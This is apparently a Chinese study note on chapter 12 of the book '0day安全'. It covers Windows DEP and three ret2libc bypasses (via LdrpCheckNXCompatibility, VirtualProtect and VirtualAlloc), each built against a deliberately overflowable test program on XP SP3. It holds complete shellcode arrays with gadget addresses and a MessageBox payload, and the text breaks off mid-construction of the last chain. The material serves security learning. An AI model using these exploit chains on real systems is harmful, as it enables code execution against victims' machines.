0day安全 | Chapter 12 数据与程序的分水岭：DEP

启程

今宵酒醒何处？杨柳岸，晓风残月。

之前接触过Linux上的数据不可执行，即NX。现在来看一看Windows上的对应措施。

DEP机制的保护原理

DEP基本原理是将数据所在内存页标为不可执行，当溢出后程序尝试在数据页面执行命令时，CPU将抛出异常，从而转入异常处理。数据页包括默认的堆页、各种堆栈页和内存池页。

微软从XP SP2开始支持DEP。根据实现机制不同，分为Software DEP (SDEP)和Hardware-enforced DEP (HDEP)。

SDEP即SafeSEH，即软件模拟实现DEP。参考0day安全 Chapter 11 亡羊补牢：SafeSEH中的SafeSEH检测流程可以发现，它会检查异常处理函数是否位于不可执行页上。

HDEP需要CPU支持。AMD称之为NX (No-Execute Page-Protection)，Intel称之为XD (Execute Disable Bit)，本质上两者是相同的。

操作系统通过设置内存页的NX/XD标记指明页不可执行。为此，需要在内存页表加入一个标识位(NX/XD)，为0表示允许执行。

查看CPU是否支持硬件DEP的方法在0day安全 Chapter 11 亡羊补牢：SafeSEH开头讲过。

Bildschirmfoto 2018-08-26 um 4.00.37 PM.png

上图说明CPU支持硬件DEP。

根据启动参数的不同（0day安全 Chapter 11 亡羊补牢：SafeSEH开头有修改启动参数的讲解）硬件DEP工作状态分为四种：

在VS 2005后，可以在编译程序时使用/NXcompat选项（默认启用）：

Bildschirmfoto 2018-09-13 um 9.57.09 PM.png

/NXcompat的细节是：

编译后的二进制程序的PE头中被设置IMAGE_DLLCHARACTERISTICS_NX_COMPAT标识，具体为下图中IMAGE_OPTIONAL_HEADER结构体中右下方蓝色位置处：

Bildschirmfoto 2018-09-13 um 10.00.21 PM.png

DEP的局限性在于：

下面我们来突破DEP。

攻击未启用DEP的程序

DEP保护对象是进程级的，当某个进程的加载模块中只要有一个不支持DEP，这个进程就不能贸然开启DEP。即使在Win7上也有很多程序没有启用DEP，如下图：

Bildschirmfoto 2018-09-13 um 10.10.35 PM.png

这种情况就是基本的溢出攻击，不再详述。

利用Ret2Libc挑战DEP

Linux上也有ret2libc对抗NX的技术。本节来看一下Windows上该技术的具体实现。

作者一开始的描述让我以为他要介绍ROP，后来看，不是这样的。最初的思路是为shellcode中的每一条指令在可执行页上找到对应的替代指令，跳转到那里执行完后再ret回shellcode中的下一个地址，这种情况下的shellcode其实就是一个大的指令地址表。这样做有一些难于实现的部分：指令地址可能有\x00，同时栈帧较难布置。

这里的ret2libc流程大致如下：

Bildschirmfoto 2018-09-28 um 3.17.58 PM.png

于是引出了三种较为有效的绕过技术：

  1. 通过跳转到ZwSetInformationProcess函数将DEP关闭后再转入shellcode执行
  2. 通过跳转到VirtualProtect函数将shellcode所在内存页设置为可执行，再转入shellcode执行
  3. 通过跳转到VirtualAlloc开辟一段可执行的内存空间，将shellcode复制过去执行

这里有一个疑问：像Linux上的那种栈上压参数sh字符串然后跳转到system函数这样的操作，在Win上可不可以呢？比如压参数cmd.exe？(unsolved)

下面开始本地实验。以下实验都在关闭GS和SafeSEH、DEP设置为Optout、禁用优化、release版本、VC++6.0这些条件下进行。

Ret2Libc实战之利用ZwSetInformationProcess

一个进程的DEP标识保存在KPROCESS结构中的_KEXECUTE_OPTIONS_上，这个标识可以通过ZwQueryInformationProcess和ZwSetInformationProcess进行查询、修改。有些资料中将它们的前缀Zw替换成了Nt，在Ntdll.dll中它们是完全一样的。

KPROCESS结构如下：

typedef struct _KPROCESS
{
     DISPATCHER_HEADER Header;
     LIST_ENTRY ProfileListHead;
     ULONG DirectoryTableBase;
     ULONG Unused0;
     KGDTENTRY LdtDescriptor;
     KIDTENTRY Int21Descriptor;
     WORD IopmOffset;
     UCHAR Iopl;
     UCHAR Unused;
     ULONG ActiveProcessors;
     ULONG KernelTime;
     ULONG UserTime;
     LIST_ENTRY ReadyListHead;
     SINGLE_LIST_ENTRY SwapListEntry;
     PVOID VdmTrapcHandler;
     LIST_ENTRY ThreadListHead;
     ULONG ProcessLock;
     ULONG Affinity;
     union
     {
          ULONG AutoAlignment: 1;
          ULONG DisableBoost: 1;
          ULONG DisableQuantum: 1;
          ULONG ReservedFlags: 29;
          LONG ProcessFlags;
     };
     CHAR BasePriority;
     CHAR QuantumReset;
     UCHAR State;
     UCHAR ThreadSeed;
     UCHAR PowerState;
     UCHAR IdealNode;
     UCHAR Visited;
     union
     {
          KEXECUTE_OPTIONS Flags;
          UCHAR ExecuteOptions;
     };
     ULONG StackCount;
     LIST_ENTRY ProcessListEntry;
     UINT64 CycleTime;
} KPROCESS, *PKPROCESS;

_KEXECUTE_OPTIONS结构如下：

Pos0 ExecuteDisable :1bit // 进程DEP开启则置1
Pos1 ExecuteEnable :1bit // 进程DEP关闭则置1
Pos2 DisableThunkEmulation :1bit // 为了兼容ATL
Pos3 Permanent :1bit // 置1后这些标志不能再被修改
Pos4 ExecuteDispatchEnable :1bit
Pos5 ImageDispatchEnable :1bit
Pos6 Spare :2bit

如上，我们只需要将_KEXECUTE_OPTIONS设置为0x02即可关闭DEP。

再看ZwSetInformationProcess函数：

ZwSetInformationProcess(
  IN HANDLE ProcessHandle,
  IN PROCESS_INFORMATION_CLASS ProcessInformationClass,
  IN PVOID ProcessInformation,
  IN ULONG ProcessInformationLength
);

第一个参数进程句柄设置为-1表示当前进程，第三个参数用来设置_KEXECUTE_OPTIONS，第四个参数为第三个参数的长度。论文Bypassing Windows Hardware-Enforced DEP给出了关闭DEP的参数：

ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;
NtSetInformationProcess(
  NtCurrentProcess(),    // -1
  ProcessExecuteFlags,   // 0x22（ProcessExecuteFlags）
  &ExecuteFlags,         // pointer to 0x02
  sizeof(ExecuteFlags)); // 0x04

由于上述参数包含0x00，所以我们无法自己构造栈帧。幸好，系统中存在一处关闭DEP的调用。微软为了兼容性，若一个进程的Permanent位未设置，当它加载DLL时，系统会对DLL进行DEP兼容性检查，当存在兼容性问题时进程的DEP将被关闭。所以有一个函数LdrpCheckNXCompatibility，当符合以下条件之一时进程DEP将被关闭：

只要能模拟出其中一种情况，DEP将被关闭。下面我们尝试第一个条件：

首先看一下XP SP3下LdrpCheckNXCompatibility关闭DEP的流程：

Bildschirmfoto 2018-09-28 um 12.52.35 PM.png

在实验开始前，我想说说自己做完这个实验后的感受：整个漏洞利用过程真的太精致了！它仿佛一件艺术品。多一分少一分都不行，看似绝境却能绝境逢生，看似不起眼的安排在后面会起到大用处，看似巧合其中却隐藏着必然。

下面请欣赏exploit的表演。

测试代码：

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>

char shellcode[]=
"\x90..."
;

void test()
{
	char tt[176];
	strcpy(tt,shellcode);
}

int main()
{
	HINSTANCE hInst = LoadLibrary("shell32.dll");
	char temp[200];
	test();
    return 0;
}

溢出点很明显。思路也很明确：首先将控制流劫持到函数LdrpCheckNXCompatibility关闭DEP，然后返回到shellcode执行。

代码中加载shell32.dll是为了引入后面调整EBP需要用到的gadget。后面会讲到。

在本地环境中通过OllyFindAddr寻找上图中红色部分的指令段地址，发现也是0x7C93CD24：

Bildschirmfoto 2018-09-14 um 7.07.01 PM.png

Bildschirmfoto 2018-09-14 um 7.26.57 PM.png

那么，我们可以在shellcode中先跳转到一个将al设置为1的指令处，之后再转到0x7C93CD24执行。

Bildschirmfoto 2018-09-14 um 7.08.58 PM.png

这段指令结束后有一个ret 4，从而为继续转入shellcode执行提供了可能性。

插件也顺带找到了将al变为1并ret的gadget，例如：

Bildschirmfoto 2018-09-14 um 7.11.01 PM.png

很方便！

至此，我们的shellcode如下：

char shellcode[]=
// 168	messagebox
...
// 12	nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 4	mov eax, 1, ret
"\x52\xE2\x92\x7C"
// 4	turn off DEP
"\x24\xCD\x93\x7C"

我们在关闭DEP流程的最后retn 0x4处下断点：

Bildschirmfoto 2018-09-28 um 3.44.02 PM.png

然后运行，却出现了异常：

Bildschirmfoto 2018-09-28 um 3.44.22 PM.png

这是因为在关闭DEP的流程中有一处je 7C95F70E，而那个地方的指令是向EBP - 4处写入数据（这里写入的数据很重要，是后面调用ZwSetInformationProcess关闭DEP的关键参数）：

Bildschirmfoto 2018-09-28 um 3.48.00 PM.png

然而EBP已经被我们覆盖为0x90909090，这时的EBP - 4是不可以写入的。

所以在转入0x7C93CD24前需要把EBP指向一个可以写入的位置。

从前面的OllyFindAddr结果中的Step3可以找到类似于push esp; pop ebp; ret的指令段：

Bildschirmfoto 2018-09-14 um 7.26.57 PM.png

需要注意溢出后的寄存器状态：

Bildschirmfoto 2018-09-28 um 3.55.52 PM.png

只有ESP指向的位置是可写入的。所以我们挑选一个push esp的，这里选择0x5d1d8b85处的gadget。

此时shellcode变为：

char shellcode[]=
// 168	messagebox
...
// 12	nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 4	mov eax, 1, ret
"\x52\xE2\x92\x7C"
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	turn off DEP
"\x24\xCD\x93\x7C"

编译后用OD加载，运行到即将调用ZwSetInformationProcess时：

Bildschirmfoto 2018-09-28 um 4.05.07 PM.png

发现栈上ebp - 4处的参数被覆盖为0x22（上图中左下方数据区紫色部分）。

幸好，根据开头讲到的_KEXECUTE_OPTIONS结构得知DEP只和其结构中前4位有关，而0x22与0x2的低四位是一样的。所以0x22也可以用于关闭DEP。

继续调试到LdrpCheckNXCompatibility返回处，没有意外，DEP成功关闭。但是我们失去了程序的控制权：

Bildschirmfoto 2018-09-28 um 4.09.19 PM.png

可以看到，在返回时ESP指向的地方是0x00000004，也就是说，在前面调用ZwSetInformationProcess时压参数压入的0x4刚好被压在后面的返回地址处。我们之前无论在这个地方放什么返回地址，都会被覆盖掉。究其原因，是我们在前面调整ebp到可写位置时，将其调整为与esp一致，这就导致后续的压栈出栈操作都在ebp附近进行，最后LdrpCheckNXCompatibility返回时的leave又把esp调整回ebp。

一般来说，当ESP小于EBP时，防止入栈破坏当前栈内内容的调整方法不外乎减小ESP和增大EBP，由于本次实验中我们的shellcode位于内存低址，所以减小ESP可能会破坏shellcode，而增大EBP的指令在本次实验中竟然找不到。一个变通的方法是增大ESP到一个安全的位置，让EBP与ESP之间的空间足够大。 我们可以使用带有偏移量的RETN指令来达到增大ESP的目的。

接着作者用前面提到的插件搜索了POP RETN+N相关指令，他的搜索结果如下：

Bildschirmfoto 2018-09-29 um 8.08.10 AM.png

在搜索结果中选取指令时只有一个条件：不能对ESP和EBP有直接操作。否则我们会失去对程序的控制权。

我这里却搜不到任何结果！但是幸好我的环境和他的比较相似，他选择的地址在我这里也同样有效：

Bildschirmfoto 2018-09-28 um 4.16.36 PM.png

后来，我读别人的文章时想到，我何必一定要搜索带pop的？反正后边也用不到pop，那么直接在搜索时将pop的数量设置为0就好了。这样一来，搜索出了很多gadget：

Bildschirmfoto 2018-09-29 um 6.58.56 PM.png

此时shellcode如下：

char shellcode[]=
// 168	messagebox
...
// 12	nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 4	mov eax, 1, ret
"\x52\xE2\x92\x7C"
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	add esp
"\x19\x4a\x97\x7c"
// 4    nop
"\x90\x90\x90\x90"
// 4	turn off DEP
"\x24\xCD\x93\x7C"

注意其中的4个nop，这是由于modify ebp的返回指令为retn 4，其导致ESP在返回后多加4，所以我们也要把关闭DEP的指针后移。

接着我们重新调试，运行到关闭DEP返回前：

Bildschirmfoto 2018-09-28 um 4.23.47 PM.png

可以发现我们布置的4个nop刚好是函数将要返回的地址所在处，且没有被覆盖掉。我们考虑把这里替换为一条jmp esp跳板，然后在关闭DEP的4个字节后面紧跟着一个长跳指令（再次提醒，关闭DEP部分的返回是retn 4，所以在jmp esp后ESP会多加4，从而越过关闭DEP指针，直接跳到后面的长跳指令上）。

跳板有一大堆：

Bildschirmfoto 2018-09-28 um 4.26.18 PM.png

可以计算出shellcode起始位置距长跳指令起始位置有200字节，而长跳指令长5个字节，所以长跳指令要往前跳205个字节。

最终shellcode：

char shellcode[]=
// 168	messagebox
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8"
// 12	nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 4	mov eax, 1, ret
"\x52\xE2\x92\x7C"
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	add esp
"\x19\x4a\x97\x7c"
//"\x90\x90\x90\x90"
// 4	jmp esp
"\xb4\xc1\xc5\x7d"
// 4	turn off DEP
"\x24\xCD\x93\x7C"
// 5 long jmp
"\xe9\x33\xff\xff\xff"
// 3 nop
"\x90\x90\x90"
;

下图是整个漏洞利用过程的说明：

Bildschirmfoto 2018-10-01 um 10.40.39 AM.png

上方的ebp代表在set ebp后ebp寄存器指向的位置。正因如此，后面关闭DEP后有一个leave指令（左下方最下面的截图），这个指令才能够通过mov esp, ebp; pop ebp来将esp恢复到我们的jmp ESP跳板处。

另外需要注意的是，其中第三步完成后与第四步之间隔了一个ptr jmp ESP，这正是由于左下方第二个截图中retn 0x4使得返回后esp被多加4，这时add esp的retn 0x28在返回时就会直接跳过ptr jmp ESP，返回到关闭DEP的指针那里。

当然，我们可以看到在左下方最后的截图中leave后面也是retn 0x4，这里同理，esp被多加了4，所以才能在jmp esp后直接转去长跳指令执行。

测试：

由于我们的shellcode中并未使用任何绝对的运行时地址，如栈上缓冲区的首地址等，而所有的库函数加载地址是一致的，所以同样的shellcode既可以在OD中生效，也可以通过直接运行程序生效：

直接：

Bildschirmfoto 2018-09-28 um 4.34.00 PM.png

OD加载：

Bildschirmfoto 2018-09-28 um 4.34.27 PM.png

在Windows 2003 SP2以后对LdrpCheckNXCompatibility进行了少许修改，对我们影响最大的是该函数在执行过程中会对ESI指向的内存附近进行操作。所以要保证ESI指向可写位置。

调整方法与调整EBP类似，采用push esp; pop esi; retn。可以借助前述插件搜索相关gadget。如果不好找，可以采用如下方式变通：

shellcode后半部分大致如下：

Bildschirmfoto 2018-09-29 um 9.14.22 AM.png

具体细节不再展开。

Ret2Libc实战之利用VirtualProtect

某些程序本身就需要偶尔从堆栈中取指令。为了兼容性，微软提供了修改内存属性的函数VirtualProtect，其位于kernel32.dll中。函数原型如下：

BOOL WINAPI VirtualProtect(
  _In_  LPVOID lpAddress, // 要修改属性的内存起始地址（shellcode起始地址）
  _In_  SIZE_T dwSize, // 内存大小（比shellcode长度大就好）
  _In_  DWORD  flNewProtect, // 新的属性值，设置为PAGE_EXECUTE_READWRITE(0x40)时即可执行
  _Out_ PDWORD lpflOldProtect // 旧属性的保存地址（需要一个可写地址）
);
// 成功执行则返回非0，否则返回0

我们的思路就是在栈上构造这个函数需要的参数对，然后调用它使得shellcode可执行，然后转入shellcode执行。

需要注意的是，参数中包含\x00，所以这种攻击方式对那些尾零截断的函数无效。本次我们将上节实验的strcpy替换为memcpy。

测试代码：

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>

char shellcode[]=
"\x90..."
;

void test()
{
	char tt[176];
	memcpy(tt,shellcode, 450);
}

int main()
{
	HINSTANCE hInst = LoadLibrary("shell32.dll");
	char temp[200];
	test();
    return 0;
}

在做上一个实验时，我惊叹于那种exploit操作的精密。然而和本节实验相比，还是小巫见大巫了。不多说，欣赏吧。

书上作者使用的环境是2003，所以我们必须自己确定XP SP3上的VirtualProtect函数地址。参考0day安全DEP绕过实验（上），可以在VS2008命令提示符中用如下方法查询：

dumpbin /exports C:\Windows\System32\kernel32.dll

加上基址后在OD中定位：

Bildschirmfoto 2018-09-29 um 9.50.26 AM.png

Bildschirmfoto 2018-09-29 um 7.21.03 PM.png

为了不影响EBP和ESP，我们未来调用这个函数时直接跳转到上图中选中部分的地址就好。我们也可以看到，这个函数其实只是个wrapper，它真正调用的是Ex后缀的那个，当然，这是题外话。

从上图中我们也可以看出该函数对参数的操作：都是基于EBP去定位的。其中ebp + 0x10处放置0x40，ebp + 0xc处我们放一个0xff，大小够用就好。这两个都是可以直接写在shellcode里的。而另外两个参数则需要动态确定。我们需要保证的是：

上面这两个问题正是此次构造shellcode的精华所在。

解决address

由于EBP在溢出过程中被破坏，我们首先要修复EBP，方法同上一节，利用push esp; pop ebp; ret。

此时shellcode如下：

char shellcode[]=
// 180	nop
...
// 4	modify ebp
"\x85\x8b\x1d\x5d"

编译后调试。到了下图中这个地方：

Bildschirmfoto 2018-09-29 um 7.53.12 PM.png

那么一句retn 4就会让ESP加8，也就是比EBP大8。如果我们能够在返回后把ESP指向的地方（即ebp+8）放一个我们能够控制的地址作为address参数该多好！我们采用上节最后提到的技巧：再把esp加4（借助一条retn就好），让它比ebp大12，然后借助push esp jmp eax把此时的esp作为address参数压到栈上。

那么怎么找push esp jmp eax呢？先汇编转机器码，然后利用前述插件自定义搜索：

Bildschirmfoto 2018-09-29 um 10.21.16 AM.png

Bildschirmfoto 2018-09-29 um 10.22.04 AM.png

Bildschirmfoto 2018-09-29 um 10.27.49 AM.png

OK。找到push esp jmp eax后，我们布局此时的shellcode：

char shellcode[]=
// 180	nop
...
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	retn
"\x57\xe2\x92\x7c"
// 4	nop
"\x90\x90\x90\x90"
// 4	push esp jmp eax
"\xc6\xc6\xeb\x77"

编译后调试：

Bildschirmfoto 2018-09-29 um 8.05.01 PM.png

没有问题。此时可以看到，在ebp+8的地方是0x0012FEB4，正是不远处的栈地址。

解决oldprotect

如法炮制，如果我们能够让ESP指向ebp+0x18，那么再用一次push esp jmp eax就可以把oldprotect参数放在ebp+0x14了（毕竟，栈总是可写的）。此时ESP指针比EBP大8，那么我们需要让ESP增大0x18 - 0x8 = 0x10。这里我们采用ROP中常用的gadget：pop pop pop ret（后文称PPPR）。目前即将执行的指令是jmp eax，那么我们可以找到一个PPPR，然后把其地址预先放入eax即可。PPPR用前述插件可以搜索到很多，我们挑选一个在可执行页上的、不影响ESP、EBP、EAX三个寄存器的gadget就好。找到后如何把它的地址预先放入eax？

依然是上节最后的技巧：采用pop eax retn即可（需要保证pop eax时PPPR地址在栈顶）。这样的gadget也很好找。

注意：一开始我在找pop eax retn时找到了shell.dll的.data区的gadget，然而整个进程都有DEP，所以一调试就会蹦出异常。由于DEP的存在，我们的gadget必须从可执行页寻找，否则这些gadget也无法执行。同理，后面的jmp esp选择也是一样。在上一节实验中，由于我们后来已经完全关闭了整个进程的DEP，所以跳板的位置无所谓。而这里我们仅仅使得栈上的一段区域可执行，别的模块的数据区域依然是不可执行的。

后面在找jmp esp时遇到了一个小问题：我想在别的模块的代码段找jmp esp，可是由于shell.dll的.data段等不可执行段的jmp esp太多了，以至于OD的日志只显示得出这些gadget，所以我没法借助前述插件找到可用的jmp esp。于是尝试自己在OD中ctrl + b搜索jmp esp的二进制。为了提高准确率，我先在反汇编窗口转到shell.dll代码段的开头，然后搜索：

Bildschirmfoto 2018-09-29 um 11.37.33 AM.png

这样很容易就找到了。

言归正传。现在我们的shellcode如下：

char shellcode[]=
// 180	nop
...
// 4	pop eax retn
"\x26\xb8\x6e\x7d"
// 4	pop edi pop esi pop ebx retn
"\x64\xa2\x5d\x7d"
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	retn
"\x57\xe2\x92\x7c"
// 4	nop
"\x90\x90\x90\x90"
// 4	push esp jmp eax
"\xc6\xc6\xeb\x77"

我们在其后紧跟上ebp + 0xC的Size和ebp + 0x10的NewProtect两个固定参数，然后是一个push esp jmp eax把oldprotect参数放在ebp+0x14。由于eax没有变，所以jmp后又是一遍PPPR。此时修改内存属性的参数已经布置完毕，这个最后的retn我们让它跳到期待已久的VirtualProtect函数中去。此时shellcode如下：

char shellcode[]=
// 180	nop
...
// 4	pop eax retn
"\x26\xb8\x6e\x7d"
// 4	pop edi pop esi pop ebx retn
"\x64\xa2\x5d\x7d"
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	retn
"\x57\xe2\x92\x7c"
// 4	nop
"\x90\x90\x90\x90"
// 4	push esp jmp eax
"\xc6\xc6\xeb\x77"
// 4	argument for VirtualProtect: Size
"\xFF\x00\x00\x00"
// 4	argument for VirtualProtect: NewProtect
"\x40\x00\x00\x00"
// 4	push esp jmp eax
"\xc6\xc6\xeb\x77"
// 8	nop
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
// 4	change attribute of mem
"\xd9\x1a\x80\x7c"

编译并调试：

Bildschirmfoto 2018-09-29 um 8.29.31 PM.png

完美！再往后，就是进入到VirtualProtect函数执行。我们看一下进入这个函数后它的操作（注意看右下方栈区）：

Bildschirmfoto 2018-09-29 um 10.59.57 AM.png

注意，VirtualProtect的最后是pop ebp retn 0x10。因此，我们最后的思路是：先放4个nop抵消pop ebp的影响，然后放一个jmp esp的跳板。接着放16或20个nop去抵消retn 0x10造成的影响，再后面放弹窗shellcode。最终shellcode如下：

char shellcode[]=
// 180	nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
// 4	pop eax retn
"\x26\xb8\x6e\x7d"
// 4	pop edi pop esi pop ebx retn
"\x64\xa2\x5d\x7d"
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	retn
"\x57\xe2\x92\x7c"
// 4	nop
"\x90\x90\x90\x90"
// 4	push esp jmp eax
"\xc6\xc6\xeb\x77"
// 4	argument for VirtualProtect: Size
"\xFF\x00\x00\x00"
// 4	argument for VirtualProtect: NewProtect
"\x40\x00\x00\x00"
// 4	push esp jmp eax
"\xc6\xc6\xeb\x77"
// 8	nop
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
// 4	change attribute of mem
"\xd9\x1a\x80\x7c"
// 4	nop
"\x90\x90\x90\x90"
// 4	jmp esp
"\xd7\x30\x5a\x7d"
// 20	nop
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
// 168	messagebox
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8"
;

下图是整个漏洞利用过程的示意图：

Bildschirmfoto 2018-10-01 um 11.42.11 AM.png

下图是转入VirtualProtect前的栈上示意图：

Bildschirmfoto 2018-10-01 um 11.42.18 AM.png

测试：

Bildschirmfoto 2018-09-28 um 4.34.00 PM.png

Ret2Libc实战之利用VirtualAlloc

除了VirtualProtect，微软还提供了VirtualAlloc去解决DEP对特殊程序的影响。

其原型为：

LPVOID WINAPI VirtualAlloc(
  _In_opt_ LPVOID lpAddress, // 申请的地址，
                             // 为NULL则系统自动分配并按64KB向上取整
  _In_     SIZE_T dwSize, // 申请大小
  _In_     DWORD  flAllocationType, // 申请类型
  _In_     DWORD  flProtect // 设置读写可执行权限
);
// 成功则返回申请到的内存其实地址，否则返回NULL

我们的利用思路也很明确：先用VirtualAlloc申请一段可执行空间，然后用memcpy将shellcode复制过去，执行。

测试代码：

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>

char shellcode[]=
"\x90..."
;

void test()
{
	char tt[176];
	memcpy(tt,shellcode, 450);
}

int main()
{
	HINSTANCE hInst = LoadLibrary("shell32.dll");
	char temp[200];
	test();
    return 0;
}

利用上一节的方法，我们找到VirtualAlloc的地址：

Bildschirmfoto 2018-09-30 um 8.54.35 AM.png

Bildschirmfoto 2018-09-30 um 8.55.57 AM.png

可以看到它的参数调用方式与VirtualProtect一样，且它的参数不需要动态确定，可以直接写在shellcode中。所以，我们直接跳转到0x7C809AF4去执行Ex函数，不要前边的部分了。

首先明确一下我们各参数的值：

lpAddress = 0x00030000; // 只要选择一个未被占用的地址即可
dwSize = 0xFF; // 够用
flAllocationType = 0x00001000; // 参考MSDN
flProtect = 0x00000040; // 可读可写可执行，参考MSDN

由于EBP被溢出破坏，所以一开始还是修复EBP。目前shellcode如下：

char shellcode[]=
// 180	nop
...
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	call VirtualAllocEx
"\xf4\x9a\x80\x7c"
// 4	nop
"\x90\x90\x90\x90"
// 4	-1 (current process)
"\xff\xff\xff\xff"
// 4	lpAddress
"\x00\x00\x03\x00"
// 4	dwSize
"\xff\x00\x00\x00"
// 4	flAllocationType
"\x00\x10\x00\x00"
// 4	flProtect
"\x40\x00\x00\x00"
;

编译调试，成功申请到内存（注意下图右侧寄存器EAX正是0x00030000）：

Bildschirmfoto 2018-09-30 um 9.22.10 AM.png

我们也可以在OD中查看内存映射：

Bildschirmfoto 2018-09-30 um 9.12.20 AM.png

是可执行的！

接下来就是memcpy。它位于ntdll.dll中，我们看一下：

void *memcpy(  
   void *dest,  
   const void *src,  
   size_t count   
);

Bildschirmfoto 2018-09-30 um 9.13.49 AM.png

Bildschirmfoto 2018-09-30 um 9.17.27 AM.png

该函数的返回处离起始部分稍微有些远：

Bildschirmfoto 2018-10-01 um 10.22.14 AM.png

明确一下各参数：目的地址和复制长度都是固定的，可以直接写死在shellcode中，对于源地址，我们可以采用push esp jmp eax技巧去填充这个参数。至于jmp eax，我们需要到后面才能确定eax应该放什么gadget的地址。

需要注意的是，在成功申请内存后，EBP被设置为0，而我们后面依然需要用到EBP，所以要再次修复EBP；另外，要用适当的nop去抵消VirtualAlloc返回时的pop ebp retn 0x10影响。

此时shellcode如下：

char shellcode[]=
// 180	nop
...
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	call VirtualAllocEx
"\xf4\x9a\x80\x7c"
// 4	nop
"\x90\x90\x90\x90"
// 4	-1 (current process)
"\xff\xff\xff\xff"
// 4	lpAddress
"\x00\x00\x03\x00"
// 4	dwSize
"\xff\x00\x00\x00"
// 4	flAllocationType
"\x00\x10\x00\x00"
// 4	flProtect
"\x40\x00\x00\x00"
// 4	nop
"\x90\x90\x90\x90"
// 4	pop eax retn
"\x26\xb8\x6e\x7d"
// 16	nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 4	nop (eax point to)
"\x90\x90\x90\x90"
// 4	modify ebp
"\x85\x8b\x1d\x5d"

我们知道，在modify ebp返回后esp比ebp大8，而memcpy需要源地址参数位于ebp + 0xc的位置。我们希望借助push esp jmp eax去填src，就需要esp = ebp + 0x10。也就是说在modify ebp后还需要一个pop retn来调整esp。

